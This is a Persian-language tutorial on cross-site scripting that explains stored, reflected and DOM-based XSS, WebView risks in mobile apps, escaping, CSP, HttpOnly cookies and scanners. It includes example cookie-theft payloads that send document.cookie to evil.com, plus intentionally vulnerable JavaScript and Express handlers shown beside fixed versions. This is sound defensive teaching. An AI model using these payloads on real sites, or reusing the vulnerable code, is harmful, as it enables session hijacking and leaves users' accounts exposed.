XSS — چیست، انواع حملات و روش‌های محافظت

XSS چیست؟

XSS (Cross-Site Scripting) — آسیب‌پذیری است که به مهاجم اجازه می‌دهد کد جاوااسکریپت را در صفحه وب تزریق کند که سپس در مرورگر قربانی اجرا می‌شود. مرورگر صفحه را از سایت معتبر بارگذاری می‌کند و اسکریپت تزریق شده را با همان مجوزهای کد قانونی سایت اجرا می‌کند. این به مهاجم دسترسی به کوکی‌ها، session storage، درخت DOM صفحه و امکان ارسال درخواست‌ها از طرف قربانی را می‌دهد. آسیب‌پذیری‌های XSS زمانی رخ می‌دهد که برنامه داده‌های کاربر را بدون ایاسکیپ مناسب یا اعتبارسنجی در صفحه HTML وارد می‌کند.

تاریخچه و ارتباط XSS

اصطلاح Cross-Site Scripting اولین بار در سال 2000 در بولتن امنیتی مایکروسافت ظاهر شد. در 25 سال گذشته XSS ارتباط خود را از دست نداده است: طبق داده‌های HackerOne (2025)، XSS حدود 22٪ از تمام آسیب‌پذیری‌های ثبت شده در پلتفرم را تشکیل می‌دهد. دلیل پایداری XSS پیچیدگی کنترل تمام نقاط ورود داده‌های کاربر است. هر فیلد ورودی، پارامتر URL، هدر درخواست HTTP یا نام فایل می‌تواند بردار حمله باشد اگر داده‌ها بدون پردازش در کد HTML منعکس شوند.

XSS چه خسارتی می‌زند؟

حملات XSS می‌توانند منجر به سرقت کوکی‌های نشست شوند که به مهاجم اجازه می‌دهد بدون رمز عبور وارد حساب قربانی شود. سایر پیامدها: هدایت به سایت‌های فیشینگ، تغییر محتوای صفحه، سرقت اطلاعات شخصی، نصب نرم‌افزار مخرب (drive-by download). در سال 2023، حمله XSS به پلتفرم Salesforce Community Cloud بر داده‌های هزاران مشتری شرکتی تأثیر گذاشت و نشان داد که حتی پلتفرم‌های بزرگ نیز از این آسیب‌پذیری مصون نیستند.

انواع حملات XSS

طبقه‌بندی XSS حملات را بر اساس روش تحویل کد مخرب به سه نوع اصلی تقسیم می‌کند. هر نوع نیاز به رویکرد متفاوتی برای محافظت دارد: Stored XSS با ایاسکیپ خروجی از پایگاه داده، Reflected با ایاسکیپ پارامترهای URL و DOM-based با کار ایمن با DOM-API مسدود می‌شود. درک تفاوت اساس استراتژی امنیتی مؤثر است.

Stored XSS (دائمی)

خطرناک‌ترین نوع XSS. مهاجم اسکریپت را در داده‌هایی تزریق می‌کند که سرور در پایگاه داده ذخیره می‌کند و در هر بار بارگذاری صفحه نمایش می‌دهد. بردار معمولی — فیلد نظر: مهاجم نظری با <script>document.location='https://evil.com/?c='+document.cookie</script>. هر کاربری که صفحه را با این نظر بارگذاری می‌کند، کوکی‌های خود را به مهاجم می‌فرستد. Stored XSS هیچ اقدامی از قربانی به جز بازدید از صفحه نمی‌خواهد — این آن را به ویژه برای شبکه‌های اجتماعی، انجمن‌ها و وبلاگ‌ها خطرناک می‌کند.

Reflected XSS (بازتابی)

اسکریپت مخرب در درخواست HTTP (معمولاً در پارامتر URL) منتقل می‌شود و بلافاصله توسط سرور در پاسخ منعکس می‌شود. مهاجم لینکی به شکل https://example.com/search?q=<script>...</script> ایجاد کرده و آن را از طریق فیشینگ، شبکه‌های اجتماعی یا ایمیل منتشر می‌کند. قربانی با کلیک روی لینک، صفحه‌ای دریافت می‌کند که در آن عبارت جستجوی وارد شده (اسکریپت) بدون ایاسکیپ نمایش داده می‌شود. Reflected XSS نیاز به مهندسی اجتماعی دارد — قربانی باید روی لینک کلیک کند که ریسک را کاهش می‌دهد اما از بین نمی‌برد.

DOM-based XSS

برخلاف Stored و Reflected، DOM-based XSS نیازی به ارسال داده به سرور ندارد. آسیب‌پذیری زمانی رخ می‌دهد که جاوااسکریپت کلاینت داده‌های کاربر را از URL، document.referrer، postMessage یا localStorage بدون پردازش ایمن در DOM وارد می‌کند. به عنوان مثال، کدی مانند document.getElementById('output').innerHTML = location.hash.substring(1) هر HTML و اسکریپتی را از بخش URL اجرا می‌کند (#<img onerror='...'>). DOM-based XSS سخت‌ترین نوع برای تشخیص است زیرا سرور هرگز payload مخرب را دریافت نمی‌کند — کاملاً در کلاینت پردازش می‌شود.

// مثال DOM-based XSS (کد آسیب‌پذیر)
// اگر userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — خطرناک: HTML خام را وارد می‌کند
document.write('<div>' + userInput + '</div>');

// جایگزین ایمن — از textContent استفاده کنید
document.getElementById('output').textContent = userInput;

حمله XSS چگونه کار می‌کند؟

حمله XSS از ویژگی اساسی وب بهره‌برداری می‌کند: مرورگر جاوااسکریپت دریافت شده از دامنه معتبر را اجرا می‌کند. اگر مهاجم راهی برای تزریق کد خود در پاسخ HTML سرور پیدا کند، مرورگر آن را با همان مجوزهای کد قانونی اجرا می‌کند. حمله سه مرحله را طی می‌کند: تزریق کد مخرب در محتوا، تحویل محتوا به مرورگر قربانی و اجرای کد با دسترسی به DOM، کوکی و storage.

مرحله تزریق

مهاجم نقطه ورود را پیدا می‌کند — فیلد، پارامتر URL یا هدری که مقدار آن توسط سرور بدون ایاسکیپ در پاسخ HTML قرار می‌گیرد. نقاط ورود معمولی: رشته‌های جستجو، فیلدهای نظر، نام کاربری، URL آواتار، فایل‌های کوکی، هدرهای HTTP (User-Agent, Referer). فریمورک‌های مدرن (React, Angular, Vue) به طور خودکار خروجی را ایاسکیپ می‌کنند، اما برنامه‌نویسان می‌توانند ایاسکیپ را از طریق dangerouslySetInnerHTML، bypassSecurityTrustHtml یا v-html غیرفعال کنند.

مرحله تحویل

برای Reflected XSS، مهاجم لینک مخرب را منتشر می‌کند. برای Stored XSS، کافی است محتوا را منتشر کند در سایت هدف و هر بازدیدکننده صفحه قربانی می‌شود. DOM-based XSS هنگام بارگذاری صفحه با بخش URL خاص فعال می‌شود. هر سه مرحله می‌توانند به طور خودکار اجرا شوند: اگر XSS در بنر تبلیغاتی (محتوای شخص ثالث) کشف شود، حمله تا زمانی که بنر غیرفعال نشود همه کاربران سایت را تحت تأثیر قرار می‌دهد.

// مثال Reflected XSS در جستجو (بک‌اند آسیب‌پذیر)
// به جای ایاسکیپ پارامتر q، سرور آن را در HTML وارد می‌کند

// Express.js — هندلر آسیب‌پذیر:
app.get('/search', (req, res) => {
    const query = req.query.q; // ورودی کاربر
    res.send(`<h1>Results for: ${query}</h1>`);
});

// نسخه ایمن — ایاسکیپ از طریق encodeURI یا موتور قالب:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS در برنامه‌های موبایل

برنامه‌های موبایل نیز در معرض حملات XSS هستند، اگرچه به میزان کمتر از وب‌سایت‌ها. بردار اصلی WebView و فریمورک‌های هیبریدی (Cordova, Capacitor, React Native با WebView) است. اگر برنامه محتوای وب را در WebView بارگذاری می‌کند — به ویژه محتوای کاربر (ایمیل‌های HTML، مقالات، پیام‌ها) — آسیب‌پذیری XSS می‌تواند منجر به اجرای جاوااسکریپت در داخل برنامه با دسترسی به توابع بومی از طریق پل جاوااسکریپت شود.

XSS در WebView اندروید

Android WebView به طور پیش‌فرض جاوااسکریپت را اجرا می‌کند. اگر برنامه رشته HTML را از طریق loadDataWithBaseURL() بارگذاری می‌کند یا محتوای کاربر را نمایش می‌دهد، حمله XSS می‌تواند به مهاجم دسترسی به رابط جاوااسکریپت (addJavascriptInterface) بدهد. Google استفاده از @JavascriptInterface را برای API < 17 ممنوع کرده است، اما کد قدیمی در برنامه‌های قدیمی هنوز یافت می‌شود. محافظت: جاوااسکریپت را در WebView غیرفعال کنید اگر نیازی نیست و از مرور ایمن استفاده کنید.

XSS در React Native و Flutter

React Native از WebView برای UI استفاده نمی‌کند — کامپوننت‌ها در نمایش‌های بومی رندر می‌شوند. اما هنگام نمایش HTML از طریق react-native-webview یا کامپوننت‌های rich-text، ریسک XSS بازمی‌گردد. Flutter از موتور رندرینگ خود (Skia) استفاده می‌کند و از جاوااسکریپت در ویجت‌های HTML پشتیبانی نمی‌کند (flutter_html تگ‌های script را اجرا نمی‌کند)، اما پلاگین‌های WebView (webview_flutter) به طور مشابه با WebView بومی آسیب‌پذیر هستند. بهترین روش — هرگز HTML تأیید نشده را به WebView منتقل نکنید.

• جاوااسکریپت را غیرفعال کنید در WebView اگر محتوا به تعامل نیاز ندارد
• از هدرهای CSP استفاده کنید برای محدود کردن منابع اسکریپت در WebView
• HTML را پالایش کنید قبل از بارگذاری در WebView: تگ‌های script و رویدادگردان‌ها را حذف کنید
• از addJavascriptInterface استفاده نکنید در اندروید بدون بررسی دقیق داده‌های ورودی

// پیکربندی ایمن WebView در اندروید
val webView = findViewById<WebView>(R.id.webview)

// اگر تعامل لازم نیست جاوااسکریپت را غیرفعال می‌کنیم
webView.settings.javaScriptEnabled = false

// HTML را قبل از بارگذاری پالایش می‌کنیم
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

روش‌های پیشگیری از XSS

محافظت در برابر XSS بر سه اصل استوار است: به ورودی کاربر اعتماد نکن، قبل از خروج ایاسکیپ کن، از Content Security Policy استفاده کن. ایاسکیپ کردن خروجی (output encoding) — مهم‌ترین روش: تمام داده‌های دریافت شده از کاربر باید قبل از درج در HTML، JavaScript، CSS یا URL ایاسکیپ شوند. موتورهای قالب مدرن (Twig, Handlebars, JSX, Blade) این کار را به طور خودکار انجام می‌دهند اگر برنامه‌نویس ایاسکیپ را با روش‌های خاص غیرفعال نکند.

ایاسکیپ زمینه‌ای

ایاسکیپ به زمینه درج داده بستگی دارد. در زمینه HTML، <، >، &، نقل قول‌ها ایاسکیپ می‌شوند. در زمینه جاوااسکریپت، بک‌تیک‌ها، \n، </script> ایاسکیپ می‌شوند. در زمینه CSS — کاراکترهای کنترلی. در زمینه URL — کدگذاری URL. خطای زمینه — به عنوان مثال، درج رشته ایاسکیپ شده HTML در ویژگی onclick — از XSS محافظت نمی‌کند زیرا onclick در زمینه جاوااسکریپت اجرا می‌شود که نیاز به ایاسکیپ متفاوتی دارد.

Content Security Policy (CSP)

CSP — هدر HTTP است که منابعی را که مرورگر می‌تواند از آنها اسکریپت، سبک و سایر منابع را بارگذاری کند محدود می‌کند. CSP سختگیرانه (بدون unsafe-inline، بدون unsafe-eval) اجرای هرگونه اسکریپت درون‌خطی از جمله بردارهای XSS را مسدود می‌کند. طبق داده‌های Google Security Blog (2025)، سایت‌های دارای CSP 95٪ از حملات XSS را مسدود می‌کنند. مثال: Content-Security-Policy: default-src 'self'; script-src 'self' هرگونه اسکریپت خارجی و درون‌خطی را ممنوع می‌کند. CSP از Stored XSS محافظت نمی‌کند اگر اسکریپت از همان دامنه بارگذاری شود، اما این نیاز به تلاش اضافی از مهاجم دارد.

کوکی HttpOnly و Secure

تنظیم پرچم HttpOnly برای کوکی از دسترسی به آنها از طریق جاوااسکریپت (document.cookie) جلوگیری می‌کند که سرقت کوکی‌های نشست را از طریق XSS مسدود می‌کند. پرچم Secure تضمین می‌کند که کوکی فقط از طریق HTTPS منتقل می‌شود. ترکیب HttpOnly + Secure + SameSite=Lax سرقت کوکی‌های نشست را از طریق XSS عملاً غیرممکن می‌کند. با این حال، XSS همچنان می‌تواند اقداماتی را از طرف کاربر انجام دهد (مثلاً ارسال درخواست‌ها)، بنابراین HttpOnly نوش‌درمان نیست بلکه بخشی از محافظت جامع است.

ابزارهای تشخیص XSS

آزمایش منظم XSS — بخش اجباری pipeline CI/CD توسعه امن است. اسکنرهای خودکار تا 80٪ از آسیب‌پذیری‌های XSS را پیدا می‌کنند، بقیه نیاز به تست نفوذ دستی دارند. بهترین رویکرد ترکیبی از تحلیل SAST (ایستا)، اسکن DAST (پویا) و بازبینی کد با تمرکز بر نقاط ورود داده‌های کاربر است.

• OWASP ZAP — اسکنر رایگان DAST که به طور خودکار XSS را در برنامه‌های وب پیدا می‌کند
• Burp Suite Professional — ابزار پیشرفته با Active Scan و Intruder برای XSS
• XSStrike — اسکنر تخصصی XSS با تولید payload
• ESLint-plugin-security — تحلیل ایستای React/JSX برای الگوهای خطرناک
• Google Observatory — بررسی هدرهای CSP و پیکربندی‌های مرتبط با XSS

برای برنامه‌های موبایل، آزمایش XSS شامل تحلیل WebView است: بررسی رابط‌های جاوااسکریپت، پردازش طرح‌های URL و انتقال HTML به loadDataWithBaseURL. همچنین توصیه می‌شود پردازش postMessage در برنامه‌های هیبریدی و بررسی اینکه چه داده‌هایی از طریق پل جاوااسکریپت منتقل می‌شوند آزمایش شوند. از شبیه‌ساز با پروکسی (Burp Suite) برای رهگیری و تغییر ترافیک برنامه موبایل استفاده کنید.